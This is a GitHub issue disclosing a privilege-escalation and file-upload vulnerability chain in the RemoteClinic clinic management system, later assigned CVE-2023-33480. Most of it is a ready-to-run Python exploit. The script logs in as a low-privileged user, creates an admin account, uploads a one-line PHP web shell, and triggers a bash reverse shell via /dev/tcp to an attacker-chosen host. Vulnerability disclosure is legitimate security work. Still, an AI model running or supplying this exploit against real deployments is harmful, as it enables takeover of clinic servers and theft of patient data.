remoteclinic / RemoteClinic

Open Source Clinic Management System
https://remoteclinic.io
Other
79 stars 53 forks source link

Privilege escalation and arbitrary file upload vulnerability leading to Remote Code Execution #24

Open n0kovo opened 1 year ago

n0kovo commented 1 year ago

Vulnerability chain in RemoteClinic application

Vulnerability description

The RemoteClinic application contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the staff/register.php endpoint and the edit-my-profile.php page.

By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell. This can potentially lead to data theft, system disruption, or other malicious activities.

Steps to reproduce / PoC

import requests
from bs4 import BeautifulSoup
from pwn import *
import argparse
from urllib.parse import quote

s = requests.Session()

parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="Target URL")
parser.add_argument("userid", help="Low-privileged user ID")
parser.add_argument("password", help="Low-privileged user password")
parser.add_argument("lhost", help="Local IP for reverse shell")
parser.add_argument("lport", type=int, help="Local port for reverse shell")
args = parser.parse_args()

TARGET_URL = args.target_url
USERID = args.userid
PASSWORD = args.password
LHOST = args.lhost
LPORT = args.lport

def get_csrf_token():
    response = s.get(f"{TARGET_URL}/login/")
    soup = BeautifulSoup(response.text, "html.parser")
    csrf_token = soup.find_all("input", {"name": "extra_key"})[0]["value"]
    return csrf_token

def login(userid, password):
    data = {
        "user_id": userid,
        "password": password,
        "extra_key": get_csrf_token(),
        "submit": "Login",
    }
    response = s.post(f"{TARGET_URL}/login/process.php", data=data)

def create_admin():
    data = {
        "first_name": "n0kovo",
        "last_name": ":)",
        "userid": "n0kovo@cia.gov",
        "passkey": "n0kovo",
        "contact": "0",
        "access_level": "6",
        "status": "active",
        "branch": "13",
        "image": "",
        "submit": "Register",
    }
    response = s.post(f"{TARGET_URL}/staff/register.php", data=data)

def get_reg_id():
    response = s.get(f"{TARGET_URL}/staff/my-profile.php")
    soup = BeautifulSoup(response.text, "html.parser")
    table_rows = soup.find_all("tr")

    for row in table_rows:
        cells = row.find_all("td")
        if cells[0].text == "Registration ID:":
            registration_id = int(cells[1].text)
            return registration_id

def upload_shell():
    payload = f"<?=`$_GET[0]`?>"

    data = {
        "first_name": "n0kovo",
        "last_name": ":)",
        "passkey": "",
        "contact": "0",
        "submit": "Update",
    }

    files = {"image": ("sup.php", payload, "text/php")}

    s.post(
        f"{TARGET_URL}/staff/edit-my-profile.php",
        data=data,
        files=files,
        verify=False,
        proxies={"http": "http://127.0.0.1:8080"},
    )

def execute_cmd(registration_id, command):
    url_encoded_cmd = quote(command, safe="")
    try:
        response = s.get(
            f"{TARGET_URL}/uploads/staff/{registration_id}.php?0={url_encoded_cmd}",
            timeout=2,
        )
        print(response.text)
    except requests.exceptions.ReadTimeout:
        pass

def start_listener(port):
    listener = listen(port)
    return listener

def get_shell(listener):
    connection = listener.wait_for_connection()
    log.success("Connection received! Enjoy your shell :)")
    print()
    connection.interactive()

def exploit():
    log.warn(f"Running exploit against {TARGET_URL}...")
    log.info("Logging in as low-privileged user...")
    login(USERID, PASSWORD)

    log.info("Creating admin user...")
    create_admin()

    log.info("Escalating privileges...")
    s.cookies.clear()
    login("n0kovo@cia.gov", "n0kovo")
    registration_id = get_reg_id()

    log.info("Uploading shell...")
    upload_shell()

    log.info("Starting listener...")
    listener = start_listener(LPORT)

    log.info("Triggering RCE...")
    log.info(f"URL: {TARGET_URL}/uploads/staff/{registration_id}.php")
    execute_cmd(registration_id, f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
    get_shell(listener)

if __name__ == "__main__":
    exploit()
n0kovo commented 11 months ago

This issue has been assigned CVE-2023-33480.